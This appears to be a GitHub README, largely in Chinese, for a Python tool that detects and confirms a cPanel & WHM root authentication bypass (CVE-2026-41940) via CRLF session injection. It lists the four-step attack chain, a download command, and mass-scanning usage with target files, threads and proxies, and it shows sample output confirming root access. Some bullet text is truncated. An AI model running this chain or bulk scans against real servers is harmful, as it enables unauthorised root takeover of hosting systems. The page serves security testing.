
Scanner for cPanel & WHM authentication bypass (CVE-2026-41940) that detects vulnerable versions via CRLF injection and session manipulation, with multi-threading and proxy support.
| 项目 | 详情 |
|---|
| CVE ID | CVE-2026-41940 |
| 漏洞名称 | cPanel & WHM Session File CRLF Injection |
| 危害等级 | 🔴 CRITICAL (CVSS 9.8) |
| 影响版本 | cPanel & WHM < 11.110.0.97 / 11.118.0.63 / 11.126.0.54 / 11.132.0.29 / 11.134.0.20 / 11.136.0.5 |
| 漏洞类型 | 认证绕过 → Root权限获取 |
| 利用难度 | 低 |
cPanel & WHM 在处理会话文件时存在逻辑缺陷:
saveSession() 函数在写入会话文件后才调用 filter_sessiondata()Authorization: Basic 头hasroot=1、tfa_verified=1 等字段✅ 精准检测 - 严格复现原始漏洞利用链
✅ 无依赖 - 仅使用 Python 标准库
✅ 多线程 - 支持批量扫描
✅ 代理支持 - 兼容 Burp Suite/Owasp ZAP
✅ 智能解析 - 自动补全协议和端口
✅ 高亮输出 - 漏洞结果红色醒目提示
[1] POST /login/?login_only=1 → 获取预认证会话
[2] GET / + CRLF注入 → 污染会话文件
[3] GET /scripts2/listaccts → 触发缓存刷新
[4] GET /cpsess/token/json-api/version → 验证Root权限
wget https://github.com/iSee857/cPanel-WHM-CVE-2026-41940-AuthBypass/blob/main/cPanel-WHM-CVE-2026-41940-AuthBypass.py
chmod +x cPanel-WHM-CVE-2026-41940-AuthBypass.py
# 自动补全 https://
python3 cPanel-WHM-CVE-2026-41940-AuthBypass.py -u 1.2.3.4:2087
# 指定完整URL
python3 cPanel-WHM-CVE-2026-41940-AuthBypass.py -u https://example.com:2087
# 从文件读取目标
python3 cPanel-WHM-CVE-2026-41940-AuthBypass.py -f targets.txt -t 20
# targets.txt 格式:
# 1.2.3.4:2087
# example.com:2087
# https://test.com:2087
# 使用HTTP代理
python3 cPanel-WHM-CVE-2026-41940-AuthBypass.py -u 1.2.3.4:2087 --proxy http://127.0.0.1:8080
# 批量扫描通过代理
python3 cPanel-WHM-CVE-2026-41940-AuthBypass.py -f targets.txt --proxy http://127.0.0.1:8080 -t 5
| 参数 | 说明 | 示例 |
|---|---|---|
-u, --url | 单个目标 | -u 1.2.3.4:2087 |
-f, --file | 目标列表文件 | -f targets.txt |
-t, --threads | 线程数(默认10) | -t 20 |
--timeout | 超时时间(默认10秒) | --timeout 15 |
--proxy | HTTP/HTTPS代理 | --proxy http://127.0.0.1:8080 |
13:45:01 [SCAN] Testing 1.2.3.4:2087
13:45:02 [INFO] Got session: 9f3a2c1b8d...
13:45:02 [INFO] Got token: /cpsess1234567890
13:45:03 [VULN] CVE-2026-41940 CONFIRMED! 1.2.3.4:2087

13:46:01 [SCAN] Testing 5.6.7.8:2087
13:46:02 [ERR ] Failed to get session 5.6.7.8:2087
脚本通过以下逻辑确认漏洞:
whostmgrsession Cookie/cpsess{digit} 路径/json-api/version 返回 200 且包含 "version" 字段⚠️ 注意:部分目标可能返回 500/503 并显示 "License",这仍表示认证绕过成功,只是缺少商业授权。
立即升级到以下安全版本:
临时缓解措施:
/var/cpanel/sessions/ 目录异常变化本工具仅用于授权安全测试和防御研究。 任何未经授权的扫描行为均属违法,后果自负。
Star ⭐ 本项目,获取更多安全工具更新!